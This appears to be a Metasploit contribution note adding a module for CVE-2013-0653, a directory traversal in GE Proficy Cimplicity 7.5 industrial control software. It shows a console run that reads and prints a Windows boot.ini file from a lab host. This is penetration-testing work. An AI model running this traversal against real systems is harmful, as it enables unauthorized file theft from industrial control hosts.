Add module for CVE-2013-0653

Tested with GE Proficy Cimplicity 7.5:

```
msf auxiliary(ge_proficy_substitute_traversal) > run

[*] 192.168.172.244:80 - Checking if it's a GE Proficy Application...
[+] 192.168.172.244:80 - Check successful
[*] 192.168.172.244:80 - Retrieving file contents...
[+] 192.168.172.244:80 - File saved in: /Users/juan/.msf4/loot/20130906161019_default_192.168.172.244_hp.imc.faultdown_042591.ini
[*] Auxiliary module execution completed
msf auxiliary(ge_proficy_substitute_traversal) > cat /Users/juan/.msf4/loot/20130906161019_default_192.168.172.244_hp.imc.faultdown_042591.ini
[*] exec: cat /Users/juan/.msf4/loot/20130906161019_default_192.168.172.244_hp.imc.faultdown_042591.ini

HTTP/1.0 200 OK
Server: CIMPLICITY-HttpSvr/1.0
Date: Fri, 06 Sep 2013 21:10:18 GMT
[boot loader]
timeout=30
default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
[operating systems]
multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /noexecute=optin /fastdetect
```